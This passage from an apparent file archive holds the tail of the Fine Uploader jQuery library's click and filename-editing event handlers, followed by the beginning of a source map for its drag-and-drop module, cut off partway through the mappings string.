            onDeleteFile: function(fileId) {},
            onCancel: function(fileId) {},
            onRetry: function(fileId) {},
            onPause: function(fileId) {},
            onContinue: function(fileId) {},
            onGetName: function(fileId) {}
        }, buttonHandlers = {
            cancel: function(id) {
                spec.onCancel(id);
            },
            retry: function(id) {
                spec.onRetry(id);
            },
            deleteButton: function(id) {
                spec.onDeleteFile(id);
            },
            pause: function(id) {
                spec.onPause(id);
            },
            continueButton: function(id) {
                spec.onContinue(id);
            }
        };
        function examineEvent(target, event) {
            qq.each(buttonHandlers, function(buttonType, handler) {
                var firstLetterCapButtonType = buttonType.charAt(0).toUpperCase() + buttonType.slice(1), fileId;
                if (spec.templating["is" + firstLetterCapButtonType](target)) {
                    fileId = spec.templating.getFileId(target);
                    qq.preventDefault(event);
                    spec.log(qq.format("Detected valid file button click event on file '{}', ID: {}.", spec.onGetName(fileId), fileId));
                    handler(fileId);
                    return false;
                }
            });
        }
        qq.extend(spec, s);
        spec.eventType = "click";
        spec.onHandled = examineEvent;
        spec.attachTo = spec.templating.getFileList();
        qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));
    };
    qq.FilenameClickHandler = function(s) {
        "use strict";
        var inheritedInternalApi = {}, spec = {
            templating: null,
            log: function(message, lvl) {},
            classes: {
                file: "qq-upload-file",
                editNameIcon: "qq-edit-filename-icon"
            },
            onGetUploadStatus: function(fileId) {},
            onGetName: function(fileId) {}
        };
        qq.extend(spec, s);
        function examineEvent(target, event) {
            if (spec.templating.isFileName(target) || spec.templating.isEditIcon(target)) {
                var fileId = spec.templating.getFileId(target), status = spec.onGetUploadStatus(fileId);
                if (status === qq.status.SUBMITTED) {
                    spec.log(qq.format("Detected valid filename click event on file '{}', ID: {}.", spec.onGetName(fileId), fileId));
                    qq.preventDefault(event);
                    inheritedInternalApi.handleFilenameEdit(fileId, target, true);
                }
            }
        }
        spec.eventType = "click";
        spec.onHandled = examineEvent;
        qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));
    };
    qq.FilenameInputFocusInHandler = function(s, inheritedInternalApi) {
        "use strict";
        var spec = {
            templating: null,
            onGetUploadStatus: function(fileId) {},
            log: function(message, lvl) {}
        };
        if (!inheritedInternalApi) {
            inheritedInternalApi = {};
        }
        function handleInputFocus(target, event) {
            if (spec.templating.isEditInput(target)) {
                var fileId = spec.templating.getFileId(target), status = spec.onGetUploadStatus(fileId);
                if (status === qq.status.SUBMITTED) {
                    spec.log(qq.format("Detected valid filename input focus event on file '{}', ID: {}.", spec.onGetName(fileId), fileId));
                    inheritedInternalApi.handleFilenameEdit(fileId, target);
                }
            }
        }
        spec.eventType = "focusin";
        spec.onHandled = handleInputFocus;
        qq.extend(spec, s);
        qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));
    };
    qq.FilenameInputFocusHandler = function(spec) {
        "use strict";
        spec.eventType = "focus";
        spec.attachTo = null;
        qq.extend(this, new qq.FilenameInputFocusInHandler(spec, {}));
    };
    qq.FilenameEditHandler = function(s, inheritedInternalApi) {
        "use strict";
        var spec = {
            templating: null,
            log: function(message, lvl) {},
            onGetUploadStatus: function(fileId) {},
            onGetName: function(fileId) {},
            onSetName: function(fileId, newName) {},
            onEditingStatusChange: function(fileId, isEditing) {}
        };
        function getFilenameSansExtension(fileId) {
            var filenameSansExt = spec.onGetName(fileId), extIdx = filenameSansExt.lastIndexOf(".");
            if (extIdx > 0) {
                filenameSansExt = filenameSansExt.substr(0, extIdx);
            }
            return filenameSansExt;
        }
        function getOriginalExtension(fileId) {
            var origName = spec.onGetName(fileId);
            return qq.getExtension(origName);
        }
        function handleNameUpdate(newFilenameInputEl, fileId) {
            var newName = newFilenameInputEl.value, origExtension;
            if (newName !== undefined && qq.trimStr(newName).length > 0) {
                origExtension = getOriginalExtension(fileId);
                if (origExtension !== undefined) {
                    newName = newName + "." + origExtension;
                }
                spec.onSetName(fileId, newName);
            }
            spec.onEditingStatusChange(fileId, false);
        }
        function registerInputBlurHandler(inputEl, fileId) {
            inheritedInternalApi.getDisposeSupport().attach(inputEl, "blur", function() {
                handleNameUpdate(inputEl, fileId);
            });
        }
        function registerInputEnterKeyHandler(inputEl, fileId) {
            inheritedInternalApi.getDisposeSupport().attach(inputEl, "keyup", function(event) {
                var code = event.keyCode || event.which;
                if (code === 13) {
                    handleNameUpdate(inputEl, fileId);
                }
            });
        }
        qq.extend(spec, s);
        spec.attachTo = spec.templating.getFileList();
        qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));
        qq.extend(inheritedInternalApi, {
            handleFilenameEdit: function(id, target, focusInput) {
                var newFilenameInputEl = spec.templating.getEditInput(id);
                spec.onEditingStatusChange(id, true);
                newFilenameInputEl.value = getFilenameSansExtension(id);
                if (focusInput) {
                    newFilenameInputEl.focus();
                }
                registerInputBlurHandler(newFilenameInputEl, id);
                registerInputEnterKeyHandler(newFilenameInputEl, id);
            }
        });
    };
})(window);
//# sourceMappingURL=jquery.fine-uploader.js.mapjs/fileupload/dnd.js.map000060400000243175150710775200011177 0ustar00{"version":3,"sources":["?","../client/js/util.js","../client/js/export.js","../client/js/version.js","../client/js/features.js","../client/js/promise.js","../client/js/dnd.js"],"names":["global","qq","element","hide","style","display","this","attach","type","fn","addEventListener","attachEvent","detach","removeEventListener","detachEvent","contains","descendant","compareDocumentPosition","insertBefore","elementB","parentNode","remove","removeChild","css","styles","Error","opacity","filter","Math","round","extend","hasClass","name","considerParent","re","RegExp","test","className","addClass","removeClass","replace","getByClass","first","candidates","result","querySelector","querySelectorAll","getElementsByTagName","each","idx","val","push","getFirstByClass","children","child","firstChild","nodeType","nextSibling","setText","text","innerText","textContent","clearText","hasAttribute","attrName","attrVal","exec","getAttribute","undefined","canvasToBlob","canvas","mime","quality","dataUriToBlob","toDataURL","dataUri","arrayBuffer","byteString","createBlob","data","BlobBuilder","window","WebKitBlobBuilder","MozBlobBuilder","MSBlobBuilder","blobBuilder","append","getBlob","Blob","intArray","mimeString","split","indexOf","atob","decodeURI","ArrayBuffer","length","Uint8Array","character","charCodeAt","log","message","level","console","isObject","variable","Object","prototype","toString","call","isFunction","isArray","value","buffer","constructor","isItemList","maybeItemList","isNodeList","maybeNodeList","item","namedItem","isString","maybeString","trimStr","string","String","trim","format","str","args","Array","slice","arguments","newStr","nextIdxToReplace","strBefore","substring","strAfter","isFile","maybeFile","File","isFileList","maybeFileList","FileList","isFileOrInput","maybeFileOrInput","isInput","maybeInput","notFile","evaluateType","normalizedType","toLowerCase","HTMLInputElement","tagName","isBlob","maybeBlob","isXhrUploadSupported","input","document","createElement","multiple","FormData","createXhrInstance","upload","XMLHttpRequest","ActiveXObject","error","isFolderDropSupported","dataTransfer","items","webkitGetAsEntry","isFileChunkingSupported","androidStock","webkitSlice","mozSlice","sliceBlob","fileOrBlob","start","end","slicer","arrayBufferToHex","bytesAsHex","bytes","byt","byteAsHexStr","readBlobToHex","blob","startOffset","initialBlob","fileReader","FileReader","promise","Promise","onload","success","onerror","failure","readAsArrayBuffer","second","extendNested","prop","override","target","sourceFn","super_","source","srcPropName","srcPropVal","arr","elt","from","len","hasOwnProperty","getUniqueId","c","r","random","v","ie","navigator","userAgent","ie7","ie8","ie10","ie11","edge","safari","vendor","chrome","opera","firefox","windows","platform","android","ios6","ios","ios7","ios8","ios800","iosChrome","iosSafari","iosSafariWebView","preventDefault","e","returnValue","toElement","div","html","innerHTML","iterableItem","callback","keyOrIndex","retVal","Storage","key","getItem","charAt","bind","oldFunc","context","newArgs","concat","apply","obj2url","obj","temp","prefixDone","uristrings","prefix","add","nextObj","i","nextTemp","encodeURIComponent","join","obj2FormData","formData","arrayKeyName","obj2Inputs","form","setAttribute","appendChild","parseJson","json","JSON","parse","eval","getExtension","filename","extIdx","lastIndexOf","substr","getFilename","blobOrFileInput","fileName","DisposeSupport","disposers","dispose","disposer","shift","addDisposer","disposeFunction","define","amd","module","exports","version","supportedFeatures","supportsUploading","supportsUploadingBlobs","supportsFileDrop","supportsAjaxFileUploading","supportsFolderDrop","supportsChunking","supportsResume","supportsUploadViaPaste","supportsUploadCors","supportsDeleteFileXdr","supportsDeleteFileCorsXhr","supportsDeleteFileCors","supportsFolderSelection","supportsImagePreviews","supportsUploadProgress","testSupportsFileInputElement","supported","tempInput","disabled","ex","isChrome21OrHigher","match","isChrome14OrHigher","isCrossOriginXhrSupported","xhr","withCredentials","isXdrSupported","XDomainRequest","isCrossOriginAjaxSupported","isFolderSelectionSupported","webkitdirectory","isLocalStorageSupported","localStorage","setItem","isDragAndDropSupported","span","postMessage","ajaxUploading","blobUploading","canDetermineSize","chunking","deleteFileCors","deleteFileCorsXdr","deleteFileCorsXhr","dialogElement","HTMLDialogElement","fileDrop","folderDrop","folderSelection","imagePreviews","imageValidation","itemSizeValidation","pause","progressBar","resume","scaling","tiffPreviews","unlimitedScaledImageSize","uploading","uploadCors","uploadCustomHeaders","uploadNonMultipart","uploadViaPaste","isGenericPromise","maybePromise","then","successArgs","failureArgs","successCallbacks","failureCallbacks","doneCallbacks","state","onSuccess","onFailure","done","DragAndDrop","o","options","HIDE_ZONES_EVENT_NAME","HIDE_BEFORE_ENTER_ATTR","uploadDropZones","droppedFiles","disposeSupport","dropZoneElements","allowMultipleItems","classes","dropActive","callbacks","uploadDroppedFiles","files","uploadDropZone","filesAsArray","dropLog","dropDisabled","processingDroppedFilesComplete","getElement","traverseFileTree","entry","parseEntryPromise","file","fullPath","indexOfNameInFullPath","qqPath","fileError","code","isDirectory","getFilesInDirectory","allEntriesRead","entries","entriesLeft","readFailure","reader","accumEntries","existingPromise","dirReader","createReader","readEntries","readSuccess","newEntries","setTimeout","handleDataTransfer","pendingFolderPromises","handleDataTransferPromise","processingDroppedFiles","dropError","getAsFile","pop","setupDropzone","dropArea","dropZone","UploadDropZone","onEnter","stopPropagation","onLeaveNotDescendants","onDrop","isFileDrag","dragEvent","fileDrag","types","leavingDocumentOut","relatedTarget","x","y","setupDragDrop","dropZones","maybeHideDropZones","HTMLElement","setupExtraDropzone","removeDropzone","dzs","splice","targetEl","errorSpecifics","preventDrop","dropOutsideDisabled","onLeave","dragoverShouldBeCanceled","disableDropOutside","dropEffect","isValidFileDrag","effectTest","dt","isSafari","effectAllowed","isOrSetDropDisabled","isDisabled","triggerHidezonesEvent","hideZonesEvent","triggerUsingOldApi","createEvent","initEvent","CustomEvent","err","dispatchEvent","attachEvents","effect","elementFromPoint","clientX","clientY"],"mappings":"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